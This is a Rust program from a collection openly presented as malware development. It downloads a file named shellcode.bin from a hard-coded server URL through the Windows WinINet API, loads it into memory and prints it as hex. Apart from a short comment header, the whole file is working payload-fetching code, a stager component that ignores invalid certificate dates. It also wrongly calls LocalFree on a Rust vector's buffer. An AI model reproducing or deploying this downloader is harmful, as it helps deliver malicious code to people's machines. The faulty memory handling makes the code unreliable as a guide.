/*
    Fetches a payload from a specified URL from our server by using winapi WinINet function. It can read and prints the payload from the memory. 
    For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
    Resources Used: MSDOS
    By @5mukx
*/

//-----For Testing Purpose-----//
#![allow(unused_variables)]
#![allow(unused_imports)]
#![allow(unused_mut)]
#![allow(unused_assignments)]
//----------------------------//

use std::ffi::OsStr;
use std::ptr;
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
use std::ptr::null_mut;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::wininet::*;
use winapi::shared::minwindef::*;
use winapi::shared::winerror::*;
use winapi::um::winbase::*;
use std::io::{self, Write};
use std::mem;
use std::os::windows::ffi::OsStrExt;

// webserver link ! 
const PAYLOAD: &'static str = "http://127.0.0.1:8080/shellcode.bin\0";

// Get a file's payload from a url (http or https)
// Return a base address of a heap allocated buffer, thats the payload
// Return the payload's size

fn get_payload_from_url(url: &[u16]) -> io::Result<(Vec<u8>, usize)>{
    let mut b_state: BOOL = TRUE; // 1
    let mut h_internet: HINTERNET = null_mut();
    let mut h_internet_file: HINTERNET = null_mut();
    let mut dw_bytes_read: DWORD = 0;
    let mut s_size: usize = 0;
    let mut p_bytes: Vec<u8> = Vec::new();
    let mut p_tmp_bytes: Vec<u8> = vec![0; 1024];

        // Opening the internet session handle, all arguments are NULL here since no proxy options are required
        unsafe {
            h_internet = InternetOpenW(url.as_ptr() , 0, ptr::null_mut(), ptr::null_mut(), 0);
            if h_internet.is_null() { 
                return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetOpenW Failed With Error : {}", GetLastError())));
            }
        
            // Opening the handle to the payload using the payload's URL
            h_internet_file = InternetOpenUrlW(h_internet, url.as_ptr(), ptr::null_mut(), 0, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
            if h_internet_file.is_null() {
                return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetOpenUrlW Failed With Error : {}", GetLastError())));
            }
        }loop {
            // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.
            unsafe {
                if InternetReadFile(h_internet_file, p_tmp_bytes.as_mut_ptr() as LPVOID, 1024, &mut dw_bytes_read) == FALSE {
                    return Err(io::Error::new(io::ErrorKind::Other, format!("[!] InternetReadFile Failed With Error : {}", GetLastError())));
                }
            }
    
            // Calculating the total size of the total buffer
            s_size += dw_bytes_read as usize;
    
            // Append the temp buffer to the end of the total buffer
            p_bytes.extend_from_slice(&p_tmp_bytes[..dw_bytes_read as usize]);
    
            // If less than 1024 bytes were read it means the end of the file was reached
            // Therefore exit the loop
            if dw_bytes_read < 1024 {
                break;
            }
        }
        // Saving
        Ok((p_bytes, s_size))
    }
    
fn main(){
    let wide_payload: Vec<u16> = OsStr::new(PAYLOAD).encode_wide().chain(Some(0)).collect();
    let (bytes, size) = match get_payload_from_url(&wide_payload){
        Ok(result) => result,
        Err(err) => {
            println!("{}",err);
            return;
        }
    };

    println!("[+] Bytes : {:p}",bytes.as_ptr());
    println!("[+] Size : {}",size);

    for (i, &byte) in bytes.iter().enumerate() {
        if i % 16 == 0 {
            print!("\n\t");
        }
        print!("{:02X} ", byte);
    }
    println!("\n");

    // Freeing

    unsafe { LocalFree(bytes.as_ptr() as HLOCAL) };
    print!("[#] Press <Enter> To Quit ... ");
    io::stdout().flush().unwrap();
    let mut _input = String::new();
    io::stdin().read_line(&mut _input).unwrap();
    std::process::exit(1);
}
